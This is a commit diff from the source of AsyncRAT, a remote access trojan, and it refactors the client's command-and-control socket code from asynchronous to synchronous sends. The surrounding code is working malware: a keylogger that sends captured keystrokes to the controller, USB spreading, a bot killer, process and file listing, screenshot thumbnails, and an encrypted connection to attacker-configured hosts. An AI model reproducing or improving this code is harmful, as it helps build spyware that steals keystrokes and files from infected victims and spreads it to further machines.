This commit is contained in:
NYAN CAT 2019-05-07 04:05:45 -07:00
parent b4769bbb26
commit 7684520c67
13 changed files with 39 additions and 104 deletions

View File

@ -127,19 +127,19 @@ namespace AsyncRAT_Sharp.Sockets
catch { } catch { }
} }
public void BeginSend(object Msgs) public void BeginSend(object msg)
{ {
lock (SendSync) lock (SendSync)
{ {
try try
{ {
if (!ClientSocket.Connected) if (!ClientSocket.Connected || (byte[])msg == null)
{ {
Disconnected(); Disconnected();
return; return;
} }
byte[] buffer = Settings.AES.Encrypt((byte[])Msgs); byte[] buffer = Settings.AES.Encrypt((byte[])msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSocket.Poll(-1, SelectMode.SelectWrite);

View File

@ -20,8 +20,6 @@ namespace AsyncRAT_Sharp.Sockets
{ {
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
}; };
Server.Bind(ipEndPoint); Server.Bind(ipEndPoint);
Server.Listen(30); Server.Listen(30);

View File

@ -88,7 +88,6 @@
<Compile Include="Handle Packet\HandleLimeUSB.cs" /> <Compile Include="Handle Packet\HandleLimeUSB.cs" />
<Compile Include="Helper\Anti_Analysis.cs" /> <Compile Include="Helper\Anti_Analysis.cs" />
<Compile Include="Helper\Methods.cs" /> <Compile Include="Helper\Methods.cs" />
<Compile Include="Install\HiddenStartup.cs" />
<Compile Include="Install\NormalStartup.cs" /> <Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" /> <Compile Include="MessagePack\MsgPack.cs" />

View File

@ -43,7 +43,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "BotKiller"; msgpack.ForcePathObject("Packet").AsString = "BotKiller";
msgpack.ForcePathObject("Count").AsString = count.ToString(); msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
} }

View File

@ -29,7 +29,7 @@ namespace Client.Handle_Packet
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
} }
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -59,7 +59,7 @@ namespace Client.Handle_Packet
} }
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
msgpack.ForcePathObject("File").AsString = sbFile.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
catch { } catch { }
} }
@ -95,8 +95,6 @@ namespace Client.Handle_Packet
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
}; };
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));

View File

@ -25,7 +25,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails"; msgpack.ForcePathObject("Packet").AsString = "thumbnails";
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
bmp.Dispose(); bmp.Dispose();
} }

View File

@ -128,7 +128,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("log").AsString = sb.ToString(); msgpack.ForcePathObject("log").AsString = sb.ToString();
Sockets.ClientSocket.BeginSend(msgpack.Encode2Bytes()); Sockets.ClientSocket.Send(msgpack.Encode2Bytes());
} }
return CallNextHookEx(_hookID, nCode, wParam, lParam); return CallNextHookEx(_hookID, nCode, wParam, lParam);
} }

View File

@ -67,7 +67,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Count").AsString = count.ToString(); msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
} }

View File

@ -61,7 +61,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Message").AsString = sb.ToString(); msgpack.ForcePathObject("Message").AsString = sb.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
} }

View File

@ -225,7 +225,7 @@ namespace Client.Handle_Packet
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Received"; msgpack.ForcePathObject("Packet").AsString = "Received";
ClientSocket.BeginSend(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
} }

View File

@ -1,11 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Client.Install
{
class HiddenStartup
{
}
}

View File

@ -16,7 +16,6 @@ namespace Client
public static readonly string MTX = "%MTX%"; public static readonly string MTX = "%MTX%";
#if DEBUG #if DEBUG
public static readonly string Anti = "false"; public static readonly string Anti = "false";
#else #else
public static readonly string Anti = "%Anti%"; public static readonly string Anti = "%Anti%";
#endif #endif

View File

@ -22,12 +22,10 @@ namespace Client.Sockets
public static Socket Client { get; set; } public static Socket Client { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long Buffersize { get; set; }
private static bool BufferRecevied { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; } private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
private static object EndSendSync { get; } = new object();
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
@ -39,17 +37,14 @@ namespace Client.Sockets
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
}; };
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
IsConnected = true; IsConnected = true;
Buffer = new byte[4]; Buffer = new byte[4];
BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
BeginSend(SendInfo()); Send(SendInfo());
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
@ -102,9 +97,7 @@ namespace Client.Sockets
} }
int recevied = Client.EndReceive(ar); int recevied = Client.EndReceive(ar);
if (recevied > 0) if (recevied == 4)
{
if (!BufferRecevied)
{ {
MS.Write(Buffer, 0, recevied); MS.Write(Buffer, 0, recevied);
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
@ -114,22 +107,24 @@ namespace Client.Sockets
if (Buffersize > 0) if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Buffer = new byte[Buffersize];
BufferRecevied = true; while (MS.Length != Buffersize)
}
}
else
{ {
MS.Write(Buffer, 0, recevied); int rc = Client.Receive(Buffer, 0, Buffer.Length, SocketFlags.None);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize) if (MS.Length == Buffersize)
{ {
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
Buffer = new byte[4]; Buffer = new byte[4];
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
BufferRecevied = false;
} }
else
Buffer = new byte[Buffersize - MS.Length];
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
@ -146,13 +141,13 @@ namespace Client.Sockets
} }
} }
public static void BeginSend(byte[] msg) public static void Send(byte[] msg)
{ {
lock (SendSync) lock (SendSync)
{ {
try try
{ {
if (!Client.Connected || !IsConnected) if (!Client.Connected || !IsConnected || msg == null)
{ {
IsConnected = false; IsConnected = false;
return; return;
@ -161,57 +156,6 @@ namespace Client.Sockets
byte[] buffer = Settings.aes256.Encrypt(msg); byte[] buffer = Settings.aes256.Encrypt(msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
IsConnected = false;
return;
}
}
}
public static void EndSend(IAsyncResult ar)
{
lock (EndSendSync)
{
try
{
if (!Client.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int sent = 0;
sent = Client.EndSend(ar);
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
lock (SendSync)
{
lock (EndSendSync)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
Client.Send(buffer, 0, buffer.Length, SocketFlags.None); Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
@ -223,6 +167,14 @@ namespace Client.Sockets
} }
} }
} }
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
Send(msgpack.Encode2Bytes());
}
} }
} }